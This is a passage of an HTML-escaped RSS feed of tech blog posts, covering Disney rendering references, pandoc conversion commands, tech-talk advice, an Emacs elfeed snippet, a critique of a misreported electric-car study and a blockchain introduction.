&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_45.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_45.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_34.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_34.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_35.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_35.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_36.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_36.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_39.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_39.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_40.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_40.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_42.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_42.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_43.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_43.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_44.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_44.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_47.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_47.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_27.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_27.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is the part of the credits with Disney Animation’s rendering team!
Also, &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; was my wife Harmony Li’s first credit at Disney Animation (she previously was at Pixar)!
This frame is kindly provided by Disney.
Every person you see in the credits worked really hard to make &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; an amazing film!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_credits.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_credits.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All images in this post are courtesy of and the property of Walt Disney Animation Studios.&lt;/p&gt;

&lt;div id="2018-11-15-references"&gt;&lt;/div&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;

&lt;p&gt;Carsten Benthin, Sven Woop, Ingo Wald, and Attila T. Áfra. 2017. &lt;a href="https://doi.org/10.1145/3105762.3105776"&gt;Improved Two-Level BVHs using Partial Re-Braiding&lt;/a&gt;. In &lt;em&gt;Proc. of High Performance Graphics (HPG 2017)&lt;/em&gt;. Article 7.&lt;/p&gt;

&lt;p&gt;Brent Burley. 2015. &lt;a href="https://doi.org/10.1145/2776880.2787670"&gt;Extending the Disney BRDF to a BSDF with Integrated Subsurface Scattering&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2015 Course Notes: &lt;a href="https://blog.selfshadow.com/publications/s2015-shading-course"&gt;Physically Based Shading in Theory and Practice&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Brent Burley, David Adler, Matt Jen-Yuan Chiang, Hank Driskill, Ralf Habel, Patrick Kelly, Peter Kutz, Yining Karl Li, and Daniel Teece. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3182159"&gt;The Design and Evolution of Disney’s Hyperion Renderer&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 33.&lt;/p&gt;

&lt;p&gt;Dong Joo Byun, Alberto Luceño Ros, Alexander Moaveni, Marc Bryant, Joyce Le Tong, and Moe El-Ali. 2019. &lt;a href="https://doi.org/10.1145/3306307.3328179"&gt;Creating Ralphzilla: Moshpit, Skeleton Library and Automation Framework&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2019 Talks&lt;/em&gt;. Article 66.&lt;/p&gt;

&lt;p&gt;Matt Jen-Yuan Chiang, Peter Kutz, and Brent Burley. 2016. &lt;a href="https://doi.org/10.1145/2897839.2927433"&gt;Practical and Controllable Subsurface Scattering for Production Path Tracing&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Talks&lt;/em&gt;. Article 49.&lt;/p&gt;

&lt;p&gt;Julian Fong, Magnus Wrenninge, Christopher Kulla, and Ralf Habel. 2017. &lt;a href="https://doi.org/10.1145/3084873.3084907"&gt;Production Volume Rendering&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2017 Courses&lt;/em&gt;. Article 2.&lt;/p&gt;

&lt;p&gt;Will Harrower, Pete Kyme, Ferdi Scheepers, Michael Rice, Marie Tollec, and Alex Moaveni. 2018. &lt;a href="https://doi.org/10.1145/3214745.3214814"&gt;SimpleBullet: Collaborating on a Modular Destruction Toolkit&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2018 Talks&lt;/em&gt;. Article 79.&lt;/p&gt;

&lt;p&gt;Peter Kutz, Ralf Habel, Yining Karl Li, and Jan Novák. 2017. &lt;a href="https://doi.org/10.1145/3072959.3073665"&gt;Spectral and Decomposition Tracking for Rendering Heterogeneous Volumes&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 36, 4 (Aug. 2017), Article 111.&lt;/p&gt;

&lt;p&gt;Tzu-Mao Li, Yu-Ting Wu, and Yung-Yu Chiang. 2012. &lt;a href="https://doi.org/10.1145/2366145.2366213"&gt;SURE-based Optimization for Adaptive Sampling and Reconstruction&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH Asia)&lt;/em&gt; 31, 6 (Nov. 2012), Article 194.&lt;/p&gt;

&lt;p&gt;Jan Novák, Andrew Selle and Wojciech Jarosz. 2014. &lt;a href="https://dl.acm.org/citation.cfm?id=2661292"&gt;Residual Ratio Tracking for Estimating Attenuation in Participating Media&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH Asia)&lt;/em&gt; 33, 6 (Nov. 2014), Article 179.&lt;/p&gt;

&lt;p&gt;Josh Richards, Joyce Le Tong, Moe El-Ali, and Tuan Nguyen. 2019. &lt;a href="https://doi.org/10.1145/3306307.3328185"&gt;Optimizing Large Scale Crowds in Ralph Breaks the Internet&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2019 Talks&lt;/em&gt;. Article 65.&lt;/p&gt;

&lt;p&gt;Fabrice Rousselle, Marco Manzi, and Matthias Zwicker. 2013. &lt;a href="https://doi.org/10.1111/cgf.12219"&gt;Robust Denoising using Feature and Color Information&lt;/a&gt;. &lt;em&gt;Computer Graphics Forum (Proc. of Eurographics Symposium on Rendering)&lt;/em&gt; 32, 7 (Jun. 2013), 121-130.&lt;/p&gt;

&lt;p&gt;Thijs Vogels, Fabrice Rousselle, Brian McWilliams, Gerhard Röthlin, Alex Harvill, David Adler, Mark Meyer, and Jan Novák. 2018. &lt;a href="https://doi.org/10.1145/3197517.3201388"&gt;Denoising with Kernel Prediction and Asymmetric Loss Functions&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 37, 4 (Aug. 2018), Article 124.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Thu, 15 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2018/11/wir2.html</guid></item><item><title>Converting docx to pdf on macOS</title><link>https://xenodium.com/converting-docx-to-pdf-on-macos</link><description>&lt;p&gt;Wanted to convert a docx document to pdf on macOS. Pandoc to the rescue, but first needed pdflatex installed:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;pandoc -t latex some.docx -o some.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;pdflatex not found. Please select a different --pdf-engine or install pdflatex
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Installed pdflatex on macOS with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install mactex
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Can also use HTML5. Install wkhtmltopdf with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install Caskroom/cask/wkhtmltopdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Convert with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;pandoc -t html5 some.docx -o some.pdf
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 14 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/converting-docx-to-pdf-on-macos</guid></item><item><title>10 Things I wish I knew before giving my First Tech Talk</title><link>/tech-talk-tips/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/me.jpeg" /&gt;
	&lt;em&gt;Giving the talk — credit https://twitter.com/JamieTanna/status/1029428095223320576&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;Glossophobia or fear of public speaking is cited as being amongst &lt;a href="https://www.washingtonpost.com/news/wonk/wp/2014/10/30/clowns-are-twice-as-scary-to-democrats-as-they-are-to-republicans/?noredirect=on&amp;amp;utm_term=.a61b1b9d11bc"&gt;mankind’s top 10 fears&lt;/a&gt;. It related to our inherent fear of failure. Although I have never been afraid of speaking publicly, for even the most experienced speakers, it can be a bit nerve racking at times.&lt;/p&gt;
&lt;p&gt;Why did I choose to give a talk then? For one, I wanted the experience, ever since &lt;a href="https://blog.joshghent.com/how-to-attend-your-first-programming-meetup-835b74f6556f"&gt;going to my first meetup&lt;/a&gt; I thought “that’s really cool to speak about stuff you’re excited about”. In connection with this, I enjoy teaching people, whether that be 1-on-1 or to a group — it’s one of the reasons I contribute to open source, and write blogs. It’s a creative outlet. Overall, my primary objective was simply to share something I’m passionate about and also &lt;em&gt;try&lt;/em&gt; and make them laugh — emphasis on the word “try” there.&lt;/p&gt;
&lt;p&gt;My first talk was at the &lt;a href="https://nottsjs.org/"&gt;NottinghamJS meetup&lt;/a&gt; and was titled “&lt;a href="https://github.com/nottsjs/speakers/issues/46"&gt;Lightning Node Performance&lt;/a&gt;”. I’m hugely grateful to the organizers for giving me a platform. Previously they had people from Amazons Alexa division, Microsoft's Machine Learning team and more — so it seemed as if I had big shoes to fill.&lt;/p&gt;
&lt;p&gt;But giving the talk is the ending, let’s start at the beginning with things I wish I had known when preparing my first talk.&lt;/p&gt;
&lt;h2&gt;Preparation took longer than expected&lt;/h2&gt;
&lt;p&gt;First and foremost, the preparation took a long time. A long time. Initially, I had expected creating the slides and writing the talk to take around 2 days. It actually took over a week — plus all the additions I did late at night and changes to the content of the talk on the day it was supposed to take place. If there is any mistake I made, it’s I severely underestimated the time it would take. It gave me a newfound appreciation for any content I consume, whether that be talks, videos or podcasts. It takes a lot of time to prepare these things. Perhaps why criticism can hurt so much.&lt;/p&gt;
&lt;p&gt;Part of the reason the preparation took a long time was I wanted to make sure I was 100% concrete on every last word I said — in case someone picked me up on it and tore the entire talk to shreds. For example, part of my talk was speaking about the &lt;a href="https://medium.com/the-node-js-collection/what-you-should-know-to-really-understand-the-node-js-event-loop-and-its-metrics-c4907b19da4c"&gt;NodeJS event loop&lt;/a&gt;. Although I know roughly how the event loop works, there were still some questions I did not know. I thought that perhaps someone may ask me about the Node event loop and therefore, I set on down the rabbit hole to explore. This kind of pattern occurred at least 6–7 times when creating the talk and accounted for a large proportion of the time I spent.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/1*qO8ucAj7rpUXP_tD3W1A9Q.png" /&gt;
	&lt;em&gt;The image I created for Node js clusters&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;Moreover, I wanted to keep the slides almost completely visual. I wanted to keep words off the slides because I have observed people read those rather than listening to you. Finding images for NodeJS clustering is harder than it looks though and so again another time-consuming task was pouring over pages of gifs and images to find one that perfectly encapsulated the subject matter. Often times, I created my own in Photoshop, which again took a large portion of time — primarily due to my appalling photo editing skills.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Choosing a topic is tricky&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;In connection with preparation time, it also took a long time to come up with a topic. Since I was not from a company, I wasn’t presenting any one particular “thing”. Therefore I went with a more general topic “application performance”. This proved difficult because it’s so broad and had so many subtopics I wanted to cover. For example, I wanted to speak about lambda cold starts, network resilience, asynchronous code in node and much more. Each one in of themselves could have been a talk in their own right. Therefore, a balance had to be struck between covering lots of topics briefly and covering a few topics in depth. I hope I eventually got that balance right, but it’s hard to tell. In the future, I would suggest coming up with a concrete outline in parallel to thinking up a topic.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Not all points are equal&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;This is a lesson I learned after the fact of presenting the talk. Not every point deserves the same amount of time. Spend more time on the difficult to understand topics and breeze through the small minor points. There is often a sunken cost fallacy at play here, whereby you take lots of time to prepare all the slides so they each deserve their own ceremony. We should try to get rid of this thinking and instead prioritize the points covered. Ordering your points carefully can aid with this. No one wants to be bombarded with lots of heavy topics all in one go, so spread them out and interleave them with smaller, lighter points.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*8H9OLV-pu8qsvO4e" /&gt;
	&lt;em&gt;Your delivery can get a bit wooden!&lt;/em&gt;
&lt;/div&gt;
&lt;h2&gt;&lt;strong&gt;Practice, practice… but not too much&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Practising your talk is essential of course but you can practice it too much. At a certain point, your delivery could become too scripted or wooden. Rather than attempting to memorize a script, remember the points you are covering. Then just speak. If you have the subject knowledge then this will produce results. Furthermore, speaking from within rather than from notes will vary your talk in different ways. I found that when practising my talk, I would do it a different way each time, adding anecdotes and talking points and cutting others. This was done at an unconscious level and would not have been achieved if I were reciting verbatim.&lt;/p&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2416/0*p-iyI1WhYQGJUMQ2" /&gt;
	&lt;em&gt;There’s an NPM module for that — &lt;a href="https://twitter.com/iamdevloper/status/487606612757315584"&gt;https://twitter.com/iamdevloper/status/487606612757315584&lt;/a&gt;&lt;/em&gt;
&lt;/div&gt;
&lt;h2&gt;&lt;strong&gt;Don’t fear questions&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Questions are fantastic for people to get further insight on what you spoke about and can often reveal places where the talk should have explained a point further or provided a different angle. I didn’t so much fear these questions, more expected the worst. But the questions were about the talk. I did get a couple about technologies I hadn’t heard of but I can hardly be blamed for that — especially in the JS world. Overall, the questions were about the talk and asking me to expand on certain stories I had told about how &lt;a href="https://www.cloudcall.com/"&gt;CloudCall&lt;/a&gt; was doing this performance improvement work.&lt;/p&gt;
&lt;p&gt;I learned a lot from the whole experience, briefly here are my takeaways.&lt;/p&gt;
&lt;h3&gt;Upload your slides to &lt;a href="https://github.com/joshghent/talks"&gt;GitHub&lt;/a&gt; and &lt;a href="https://www.slidedeck.com/"&gt;Slidedeck&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;One thing people always ask for with talks is where can I get the slides, so make them easily available. Creating a repo called “talks” and upload the file there, and upload them onto Slidedeck for those who may not have powerpoint/keynote.&lt;/p&gt;
&lt;h3&gt;Visual slides worked well&lt;/h3&gt;
&lt;p&gt;A picture says a thousand words. Words on slides should be avoided at all costs unless they are used to re-emphasize a point. You can explain much more with visuals. For example, rather than putting a slide with the conclusion from a study, put a nice chart up there with the numbers behind the study.&lt;/p&gt;
&lt;h3&gt;Avoid lots of code on slides&lt;/h3&gt;
&lt;p&gt;Code on slides are similar to words on slides. They should be used to make a specific point. Try to keep the code as short as possible, using an extract if possible. It’s not essential that the audience has a complete context around a program.&lt;/p&gt;
&lt;h3&gt;Slow down delivery&lt;/h3&gt;
&lt;p&gt;When I gave the talk, I think I rushed a little. It’s a nerves thing I suppose. My advice is to just count in your head 1–5 between points and 1–10 between slides. It will seem like a lifetime from your point of view, but it makes the delivery far more fluid.&lt;/p&gt;
&lt;h3&gt;Engage with the audience rather than speak to them&lt;/h3&gt;
&lt;p&gt;My talk was that. A talk. I hope the visuals were enough to keep people engaged but in the future, I will make an effort to ask the audience questions and engage with them further. For example, I may ask the audience if they have any experiences with dealing with X after explaining how I did it.&lt;/p&gt;
&lt;p&gt;Since my first talk, I have given a couple of others and want to do more. It’s a good experience but takes a lot of time. Be kind to those who give talks and give constructive feedback, as they have sacrificed a lot of time to deliver this. And if you are interested in giving a talk — do so! Ask the organizers of the event and I’m sure they will be happy to pen you in. If you are in the Leicester, UK area and would like to give a talk, post an issue on the &lt;a href="https://github.com/leicesterjs/speakers"&gt;LeicesterJS speaker’s repo&lt;/a&gt; and I will get it in the diary — we want to encourage first-time speakers. If you have given a talk, share your experience — it’s good to break down some of the fears people may have.&lt;/p&gt;</description><author/><pubDate>Wed, 14 Nov 2018 00:12:03 GMT</pubDate><guid isPermaLink="true">/tech-talk-tips/</guid></item><item><title>Four development methods you didn't know you were using!</title><link>https://blog.samuellevy.com/post/57-four-development-methods-you-didnt-know-you-were-using.html</link><description>&lt;p&gt;Waterfall is &lt;em&gt;hard&lt;/em&gt;, and agile is &lt;em&gt;confusing&lt;/em&gt;, so why should you put your team through them? Instead, you are probably &lt;em&gt;already using&lt;/em&gt; some of these alternative development techniques! You won't learn about these in a text book, but you'll find them in use all over the software industry. Let's learn about how we manage small teams:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Whack-a-mole development&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;This is the most common development methodology around. Almost all small teams do this to begin with, and businesses can grow huge off the back of Whack-a-mole development. So what is it?&lt;/p&gt;&lt;p&gt;Whack-a-mole development is a process where your developer…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Tue, 13 Nov 2018 09:29:53 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/57-four-development-methods-you-didnt-know-you-were-using.html</guid></item><item><title>Wie Studien verdreht werden</title><link>https://manuel.kiessling.net/2018/11/13/wie-studien-verdreht-werden/</link><description>Ein schönes Beispiel für professionell gemachte Fake News - oder zumindest grobe Fahrlässigkeit - findet sich unter https://unserplanet.net/e-autos-dreckig.
Das Ganze ist auch verbreitet als Facebook-Post unter https://www.facebook.com/unserplanet/videos/188402545408094, unter Einbindung eines grob thematisch verwandten Videos von ZDF heuteplus (dessen Wahrheitsgehalt ich hier nicht beurteilen kann und will).
Der verlinkte Artikel sagt:
&amp;ldquo;Eine aktuelle Studie, die vom Trancik Lab des Massachusetts Institute of Technology (MIT) veröffentlicht wurde, hat jedoch ergeben, dass Elektroautos NICHT so grün sind, wie Sie denken und eigentlich schlimmere Umweltverschmutzer sind als Benzin- und Dieselautos.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Tue, 13 Nov 2018 09:12:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2018/11/13/wie-studien-verdreht-werden/</guid></item><item><title>Faster elfeed browsing with paging</title><link>https://xenodium.com/faster-elfeed-browsing-with-paging</link><description>&lt;p&gt;Following up from &lt;a href="http://xenodium.com/#faster-junk-mail-deletion-with-mu4e"&gt;faster junk mail deletion with mu4e&lt;/a&gt;, elfeed is another candidate for enabling actions on pages. In this case, marking rss entries as read, page by Page.&lt;/p&gt;
&lt;p&gt;If on &lt;a href="https://github.com/jwiegley/use-package"&gt;use-package&lt;/a&gt;, the function can defined and bound to the &amp;quot;v&amp;quot; key using:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package elfeed
  :ensure t
  :bind (:map elfeed-search-mode-map
              (&amp;quot;v&amp;quot; . ar/elfeed-mark-visible-as-read))
  :config
  (defun ar/elfeed-mark-visible-as-read ()
    (interactive)
    (require 'window-end-visible)
    (set-mark (window-start))
    (goto-char (window-end-visible))
    (activate-mark)
    (elfeed-search-untag-all-unread)
    (elfeed-search-update--force)
    (deactivate-mark)
    (goto-char (window-start))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/faster-elfeed-browsing-with-paging/elfeed-read-by-page.gif" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 13 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/faster-elfeed-browsing-with-paging</guid></item><item><title>The Simple Joy of "No Phones"</title><link>https://macleodsawyer.com/blog/the-simple-joy-of-no-phone/</link><description>&lt;blockquote&gt;
&lt;p&gt;“Every time someone in a group of people deploys a screen, the whole group is affected. Each disengaged person in a crowd is like a little black hole, a dead zone for social energy, radiating a noticeable field of apathy towards the rest of the room and what’s happening there.” - &lt;a href="https://www.raptitude.com/2018/11/joy-no-phones/"&gt;The Simple Joy of “No Phones”&lt;/a&gt; by David Cain&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The rate of smartphone addiction is far more prevalent, and destructive compared to the new &lt;a href="http://www.who.int/features/qa/gaming-disorder/en/"&gt;WHO (World Health Organization) “Video Game Addiction Disorder”&lt;/a&gt;, as a person who was incredibly addicted to their devices to post over a dozen (sometimes hundreds!) of times a day through my social media accounts for nearly a decade, I know first hand the emotional, physical, and mentally destructive turmoil of smart-device addiction and from the hundreds of conversations I’ve had from the average person, psychologists. professors, and user experience developers this is becoming far more prevalent, understood, and accepted - that a smartphone is a “little black hole, a dead zone for social energy, radiating a noticeable field of apathy towards the rest of the room and what’s happening there”.&lt;/p&gt;
&lt;p&gt;I have noticed this effect myself - the moment someone begins to tune-out by using their device in a situation, the rest of the group at hand will begin to feel envious of using their own devices as if that minuscule action of one has been amplified to an eleven demanding that everyone in the vicinity join them in using their personal devices. This is similar to cigarette smoking, where if one person lights up - everyone must light up.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I imagine that in another decade or two we’ll look at 2010s-era device use something like we do now with cigarette smoking. I was born in 1980, and I remember smoking sections on planes, which is unthinkable today. I wonder if today’s kids will one day vaguely remember the brief, bizarre time when people didn’t think twice about lighting up a screen in the middle of a darkened concert hall.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the future, I believe we will begin to have restaurants, concerts, parks, meetings and more begin banning smart-devices - and even begin implementing an automated NFC locking mechanisms that severely limit the interactions of the device (allowing emergency calls, cameras, etc) depending on the situation and the event. Regardless, socially I believe that the tide has already started heading this way - that we will begin phasing out smart devices in public settings.&lt;/p&gt;
&lt;p&gt;There is nothing wrong with using your smartphones, enjoy them, use them, they are the greatest communication methods that our species has ever created and has helped create a world more of equality than ever before -  but be wise in your usage, and attempt to limit when and where you use them not just for yourself, but for the world around you.&lt;/p&gt;</description><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Tue, 13 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/blog/the-simple-joy-of-no-phone/</guid></item><item><title>The Tyranny of Metrics</title><link>https://macleodsawyer.com/library/tyranny-of-metrics/</link><description/><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Mon, 12 Nov 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/library/tyranny-of-metrics/</guid></item><item><title>Facebook live using FFmpeg – and nodejs</title><link>https://yasha.solutions/facebook-live-using-ffmpeg-and-nodejs/</link><description>Facebook Live using FFmpeg Play h.264 video stream in html page FFmpeg-based Live stream via Python PyLivestream</description><author>Yasha Solutions</author><pubDate>Mon, 12 Nov 2018 12:38:13 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/facebook-live-using-ffmpeg-and-nodejs/</guid></item><item><title>What Is Clip Art? A Brief History</title><link>https://solomon.io/brief-history-of-clip-art/</link><description>Clip art is the pre-made graphics that came bundled with software like Microsoft Word. A short history of the medium, from mechanical paste-up to the modern web.</description><author>Sam Solomon</author><pubDate>Mon, 12 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/brief-history-of-clip-art/</guid></item><item><title>An introduction to credit card churning</title><link>https://blog.jonlu.ca/posts/churning-primer</link><description/><author>JonLuca's Blog</author><pubDate>Sun, 11 Nov 2018 19:11:41 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/churning-primer</guid></item><item><title>Radical Markets: Uprooting Capitalism and Democracy for a Just Society</title><link>https://olshansky.info/book/radical_markets/</link><description>Olshansky's review of Radical Markets: Uprooting Capitalism and Democracy for a Just Society by Eric A. Posner</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 11 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/radical_markets/</guid></item><item><title>Demistifying blockchain - Part 1</title><link>https://danielpecos.com/2018/11/10/demistifying-blockchain-part-1/</link><description>&lt;p&gt;&lt;img alt="Demistifying blockchain - Part 1" src="https://danielpecos.com/assets/2018/11/10/blockchain-part1.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://en.wikipedia.org/wiki/Blockchain"&gt;Blockchain&lt;/a&gt;&lt;/strong&gt; is one of those buzzwords everyone is listening nowadays, but what it really is?&lt;/p&gt;
&lt;p&gt;In this series of posts we will dig one general concepts about BlockChain and a little bit of its relation with BitCoin, as well as we will develop a simple blockchain in Go.&lt;/p&gt;
&lt;p&gt;To put it simple, and as its name states, it&amp;rsquo;s just a chain of blocks. The interesting detail is that is a &lt;em&gt;cryptographic chain&lt;/em&gt; providing some characteristics that make them really useful:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tamper-proof&lt;/li&gt;
&lt;li&gt;Distributed&lt;/li&gt;
&lt;li&gt;Decentralized&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We say a blockchain is tamper-proof because once a block has been added to the chain, nobody can modify it without also modifying its &lt;strong&gt;signature&lt;/strong&gt; or &lt;strong&gt;cryptographic hash&lt;/strong&gt;. But what if the attacker would also modify the signature to make it match its new content? A block stores as part of its data, the signature of the previous block in the chain (and that&amp;rsquo;s why it&amp;rsquo;s a chain), so if an attacker would try to replace a block in the chain (even using the correct cryptographic signature), would have to cascade the changes across all blocks from that one on until the end of the chain.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Blockchain diagram" src="https://danielpecos.com/assets/2018/11/10/blockchain-diagram.png" title="Blockchain diagram" /&gt;&lt;/p&gt;
&lt;p&gt;Even though, that&amp;rsquo;s a plausible attack scenario. How can BlockChain avoid it? Making the chain distributed and decentralized, so an attacker trying to modify the chain, would have to modify all instances ot the chain distributed across the world. And it has to be done at once to more than 50% of the nodes in the network, because being a decentralized network means that there is no &lt;strong&gt;golden copy&lt;/strong&gt; of the chain. All instances in the network are equal.&lt;/p&gt;
&lt;p&gt;This also means that whenever someone tries to attach a new node to the end of the chain, the network has to agree to that action. Once the network has &lt;strong&gt;acknowledged or achieved consensus&lt;/strong&gt;, the new block is considered permanently and successfully added to the chain.&lt;/p&gt;
&lt;p&gt;These characteristics are what make the Blockchain a &lt;strong&gt;secure, read-only and distributed database&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;BlockChain is in the bare-bones of &lt;strong&gt;Bitcoin&lt;/strong&gt;, as the cryptocurrency uses a blockchain implementation as the &lt;strong&gt;public ledger system&lt;/strong&gt;, and thus since the boom of cryptocurrencies, this type of databases have caught the interest of more and more researchers and developers.&lt;/p&gt;
&lt;p&gt;In the following video you will find a more detailed explanation of what we want to implement in this series of posts. If the concept of what a block chain is is still not clear, please have a look to the video before going further in the series:&lt;/p&gt;
&lt;div style="padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
      
    &lt;/div&gt;

